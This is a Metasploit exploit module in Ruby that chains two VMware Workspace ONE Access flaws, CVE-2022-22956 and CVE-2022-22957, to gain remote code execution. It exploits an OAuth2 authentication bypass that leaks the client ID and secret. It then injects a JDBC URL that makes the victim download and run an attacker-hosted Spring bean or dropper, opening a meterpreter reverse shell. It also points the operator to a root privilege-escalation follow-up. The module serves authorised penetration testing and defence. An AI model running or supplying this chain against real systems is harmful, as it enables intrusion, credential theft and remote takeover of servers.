##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'builder'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  class InvalidRequest < StandardError
  end

  class InvalidResponse < StandardError
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain',
        'Description' => %q{
          This module combines two vulnerabilities in order achieve remote code execution in the context of the
          `horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in
          OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the
          authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC
          injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker
          to deserialize arbitrary Java objects which can allow remote code execution.
        },
        'Author' => [
          'mr_me', # Discovery & PoC
          'jheysel-r7' # Metasploit Module
        ],
        'References' => [
          ['CVE', '2022-22956'],
          ['CVE', '2022-22957'],
          ['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],
          ['URL', 'https://github.com/sourceincite/hekate/'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']
        ],
        'DisclosureDate' => '2022-04-06',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => %i[curl wget],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x22"
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'LPORT' => 5555
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
  end

  # The VMware products affected do no expose any version information to unauthenticated users.
  # Attempt to exploit the auth bypass to determine if the target is vulnerable. Both the auth bypass and RCE were
  # patched in the following VMware update: https://kb.vmware.com/s/article/88099
  def check
    @token = get_authentication_token
    Exploit::CheckCode::Vulnerable('Successfully by-passed authentication by exploiting CVE-2022-22956')
  rescue InvalidRequest, InvalidResponse => e
    return Exploit::CheckCode::Safe("There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
  end

  # Exploit OAuth2TokenResourceController ACS Authentication Bypass (CVE-2022-22956).
  #
  # Return the authentication token
  def get_authentication_token
    oauth_client = ['Service__OAuth2Client', 'acs'].sample
    res_activation_token = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'generateActivationToken', oauth_client),
      'method' => 'POST'
    })

    unless res_activation_token
      raise InvalidRequest, 'No response from the server when requesting an activation token'
    end

    unless res_activation_token.code == 200 && res_activation_token.headers['content-type'] == 'application/json;charset=UTF-8'
      raise InvalidResponse, "Unexpected response code:#{res_activation_token.code}, when requesting an activation token"
    end

    activation_token = res_activation_token.get_json_document['activationToken']

    res_client_info = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'activate'),
      'method' => 'POST',
      'Content-Type' => 'application/x-www-form-urlencoded',
      'data' => activation_token
    })

    unless res_client_info
      raise InvalidRequest, 'No response from client when sending the activation token and expecting client info in return'
    end

    unless res_client_info.code == 200 && res_client_info.headers['content-type'] == 'application/json;charset=UTF-8'
      raise InvalidResponse, "Unexpected response code:#{res_client_info.code}, when sending the activation token and expecting client info in return"
    end

    json_client_info = res_client_info.get_json_document
    client_id = json_client_info['client_id']
    client_secret = json_client_info['client_secret']

    print_good("Leaked client_id: #{client_id}")
    print_good("Leaked client_secret: #{client_secret}")
    post_data = "grant_type=client_credentials&client_id=#{client_id}&client_secret=#{client_secret}"

    res_access_token = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'auth', 'oauthtoken'),
      'method' => 'POST',
      'Content-Type' => 'application/x-www-form-urlencoded',
      'data' => post_data
    })

    unless res_access_token
      raise InvalidRequest, 'No response from the server when requesting the access token'
    end

    unless res_access_token.code == 200 && res_access_token.headers['content-type'] == 'application/json;charset=UTF-8' && res_access_token.get_json_document['access_token']
      raise InvalidResponse, 'Invalid response from the server when requesting the access token'
    end

    res_access_token.get_json_document['access_token']
  end

  # Serve the files for the target machine to download.
  # If the request to the server ends in .xml the victim is requesting the spring bean generated by payload_xml method.
  # If the request doesn't in .xml the victim is requesting the linux dropper payload.
  def on_request_uri(cli, request)
    vprint_status("on_request_uri - Request '#{request.method} #{request.uri}'")
    if request.to_s.include?('.xml')
      vprint_status('Sending XML response: ')
      send_response(cli, @payload_xml, { 'Content-Type' => 'application/octet-strem' })
      vprint_status('Response sent')
    else
      vprint_status('Sending PAYLOAD: ')
      send_response(cli, generate_payload_exe(code: payload.encoded), { 'Content-Type' => 'application/octet-strem' })
    end
  end

  # Generates the malicious spring bean that will be hosted by the metasploit http server and downloaded and run by the victim
  #
  # Returns an XML document containing the payload.
  def generate_payload_xml(cmd)
    bean = ''
    builder = ::Builder::XmlMarkup.new(target: bean, indent: 2)
    builder.beans(xmlns: 'http://www.springframework.org/schema/beans', 'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:schemaLocation': 'http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd') do
      builder.bean(id: 'pb', class: 'java.lang.ProcessBuilder', 'init-method': 'start') do
        builder.constructor do
          builder.list do
            builder.value('/bin/sh')
            builder.value('-c')
            builder.value(cmd)
          end
        end
      end
    end

    bean.gsub!('constructor', 'constructor-arg')
    vprint_status(bean)
    bean
  end

  # Calls the vulnerable dbCheck method in order to download and run the payload the module is hosting.
  def trigger_jdbc_rce(jwt, sub_cmd)
    # jdbc_uri  = "jdbc:postgresql://localhost:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{filename}"
    jdbc_uri = "jdbcUrl=jdbc%3Apostgresql%3A%2F%2Flocalhost%3A1337%2Fsaas%3FsocketFactory%3Dorg.springframework.context.support.FileSystemXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F#{datastore['LHOST']}%3A#{datastore['SRVPORT']}%2F#{@payload_name}&dbUsername=&dbPassword"
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'system', 'dbCheck'),
      'method' => 'POST',
      'Content-Type' => 'application/x-www-form-urlencoded',
      'Connection' => 'keep-alive',
      'cookie' => "HZN=#{jwt}",
      'data' => jdbc_uri
    })

    fail_with(Failure::Unreachable, "No response from the request to trigger the following sub command: #{sub_cmd}") unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response from the request to trigger the following sub command: #{sub_cmd}") unless res.code == 406 && res.body == '{"success":false,"status":406,"message":"database.connection.notSuccess","code":406}'
  end

  def execute_command(cmd, opts = {})
    vprint_status("Executing the following command: #{cmd}")
    @payload_xml = generate_payload_xml(cmd)
    trigger_jdbc_rce(opts[:jwt], cmd)
  end

  # Instruct the user to exploit CVE-2022-22960
  def on_new_session(_client)
    print_good('Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell')
  end

  def exploit
    unless @token
      begin
        @token = get_authentication_token
      rescue InvalidRequest => e
        fail_with(Failure::Unreachable, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
      rescue InvalidResponse => e
        fail_with(Failure::UnexpectedReply, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
      end
    end

    @payload_name = Rex::Text.rand_text_alpha(4..12) + '.xml'
    start_service('Path' => "/#{@payload_name}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded, { jwt: @token })
    when :linux_dropper
      execute_cmdstager({ jwt: @token })
    else
      fail_with(Failure::BadConfig, 'Invalid target specified')
    end
  end
end
